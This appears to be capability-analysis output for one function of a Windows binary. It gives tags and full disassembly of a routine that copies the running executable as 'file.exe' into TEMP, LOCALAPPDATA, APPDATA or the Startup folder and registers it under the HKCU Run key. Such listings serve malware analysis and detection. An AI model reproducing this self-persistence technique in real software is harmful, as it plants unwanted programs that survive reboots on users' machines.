Function at 0x140001980
Capabilities:
Copy file
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x14003b048]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
mov r15, r8
mov ebx, edx
mov edi, ecx
mov r8d, 0x104
lea rdx, [rbp + 0xa0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test edi, edi
je 0x140001f71
sub edi, 1
je 0x140001cc7
cmp edi, 1
jne 0x140001f71
test ebx, ebx
je 0x140001f71
sub ebx, edi
je 0x140001a10
sub ebx, edi
je 0x140001a07
cmp ebx, edi
jne 0x140001a2a
lea r9, str.TEMP
jmp 0x140001a17
lea r9, str.LOCALAPPDATA
jmp 0x140001a17
lea r9, str.APPDATA
mov r8d, 0x104
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x80]
call fcn.1400132b8
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xor esi, esi
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rsi
lea rax, [rbp - 0x70]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], sil
jne 0x140001a50
movabs rdi, 0x7fffffffffffffff
cmp rbx, rdi
ja 0x140001fb5
mov qword [rsp + 0x78], 0xf
cmp rbx, 0x10
jae 0x140001a9b
mov qword [rsp + 0x70], rbx
mov r8, rbx
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x60]
call fcn.14000df90
mov byte [rsp + rbx + 0x60], sil
jmp 0x140001b33
mov rax, rbx
or rax, 0xf
cmp rax, rdi
jbe 0x140001ad4
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14000c108
test rax, rax
je 0x140001fa9
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140001b11
mov rdi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140001aff
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001fa3
jmp 0x140001ab5
test rcx, rcx
je 0x140001b0e
call fcn.14000c108
mov r14, rax
jmp 0x140001b11
mov r14, rsi
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rdi
mov r8, rbx
lea rdx, [rbp - 0x70]
mov rcx, r14
call fcn.14000df90
mov byte [r14 + rbx], sil
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov rax, rdx
sub rax, rcx
cmp rax, 9
jb 0x140001b7f
lea rax, [rcx + 9]
mov qword [rsp + 0x70], rax
lea rbx, [rsp + 0x60]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x60]
add rbx, rcx
mov r8d, 9
lea rdx, str._file.exe
mov rcx, rbx
call fcn.14000df90
mov byte [rbx + 9], 0
jmp 0x140001ba4
mov qword [rsp + 0x20], 9
lea r9, str._file.exe
movzx r8d, byte [rsp + 0x30]
mov edx, 9
lea rcx, [rsp + 0x60]
call fcn.140003260
lea r9, [rsp + 0x60]
mov r8, qword [rsp + 0x60]
mov r10, qword [rsp + 0x78]
cmp r10, 0x10
cmovae r9, r8
lea rax, [rbp + 0xa0]
sub r9, rax
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r9]
sub edx, ecx
jne 0x140001be3
inc rax
test ecx, ecx
jne 0x140001bd0
test edx, edx
je 0x140001c8b
lea rdx, [rsp + 0x60]
cmp r10, 0x10
cmovae rdx, r8
xor r8d, r8d
lea rcx, [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov qword [rsp + 0x38], rsi
lea r8, [rsp + 0x38]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov eax, dword [rsp + 0x70]
inc eax
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rcx, qword [rsp + 0x60]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.File
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp byte [r15], 0
je 0x140001c81
lea r8, [r15 + 1]
lea rdx, [r15 + 0x201]
mov r9d, dword [r15 + 0x1204]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov r8, qword [rsp + 0x60]
mov r10, qword [rsp + 0x78]
cmp r10, 0x10
jb 0x140001f71
lea rdx, [r10 + 1]
mov rax, r8
cmp rdx, 0x1000
jb 0x140001f69
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001fa9
jmp 0x140001f69
lea r9, str.APPDATA
mov r8d, 0x104
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x80]
call fcn.1400132b8
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xor esi, esi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rsi
lea rax, [rbp - 0x70]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], sil
jne 0x140001d00
movabs rdi, 0x7fffffffffffffff
cmp rbx, rdi
ja 0x140001fbb
mov qword [rsp + 0x58], 0xf
cmp rbx, 0x10
jae 0x140001d4b
mov qword [rsp + 0x50], rbx
mov r8, rbx
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x40]
call fcn.14000df90
mov byte [rsp + rbx + 0x40], sil
jmp 0x140001dde
mov rax, rbx
or rax, 0xf
cmp rax, rdi
jbe 0x140001d84
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14000c108
test rax, rax
je 0x140001f9d
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001dbc
mov rdi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140001daf
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001faf
jmp 0x140001d65
test rcx, rcx
je 0x140001dbc
call fcn.14000c108
mov rsi, rax
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rdi
mov r8, rbx
lea rdx, [rbp - 0x70]
mov rcx, rsi
call fcn.14000df90
mov byte [rsi + rbx], 0
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rax, rdx
sub rax, rcx
cmp rax, 0x2f
jb 0x140001e2a
lea rax, [rcx + 0x2f]
mov qword [rsp + 0x50], rax
lea rbx, [rsp + 0x40]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x40]
add rbx, rcx
mov r8d, 0x2f
lea rdx, str.MicrosoftWindowsStart_MenuProgramsStartup_
mov rcx, rbx
call fcn.14000df90
mov byte [rbx + 0x2f], 0
jmp 0x140001e4f
mov qword [rsp + 0x20], 0x2f
lea r9, str.MicrosoftWindowsStart_MenuProgramsStartup_
movzx r8d, byte [rsp + 0x30]
mov edx, 0x2f
lea rcx, [rsp + 0x40]
call fcn.140003260
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rax, rdx
sub rax, rcx
cmp rax, 8
jb 0x140001e92
lea rax, [rcx + 8]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x40]
movabs rdx, 0x6578652e656c6966
mov qword [rax + rcx], rdx
mov byte [rax + rcx + 8], 0
jmp 0x140001eb7
mov qword [rsp + 0x20], 8
lea r9, str.file.exe
movzx r8d, byte [rsp + 0x30]
mov edx, 8
lea rcx, [rsp + 0x40]
call fcn.140003260
lea r9, [rsp + 0x40]
mov r8, qword [rsp + 0x40]
mov r10, qword [rsp + 0x58]
cmp r10, 0x10
cmovae r9, r8
lea rax, [rbp + 0xa0]
sub r9, rax
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r9]
sub edx, ecx
jne 0x140001ef3
inc rax
test ecx, ecx
jne 0x140001ee0
test edx, edx
je 0x140001f3e
lea rdx, [rsp + 0x40]
cmp r10, 0x10
cmovae rdx, r8
xor r8d, r8d
lea rcx, [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
cmp byte [r15], 0
je 0x140001f34
lea r8, [r15 + 1]
lea rdx, [r15 + 0x201]
mov r9d, dword [r15 + 0x1204]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov r8, qword [rsp + 0x40]
mov r10, qword [rsp + 0x58]
cmp r10, 0x10
jb 0x140001f71
lea rdx, [r10 + 1]
mov rax, r8
cmp rdx, 0x1000
jb 0x140001f69
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f9d
mov rcx, r8
call fcn.14000c100
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.14000c0e0
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140013090
int3
call fcn.1400011b0
int3
call fcn.140013090
int3
call fcn.1400011b0
int3
call fcn.140001250
int3
call fcn.140001250
int3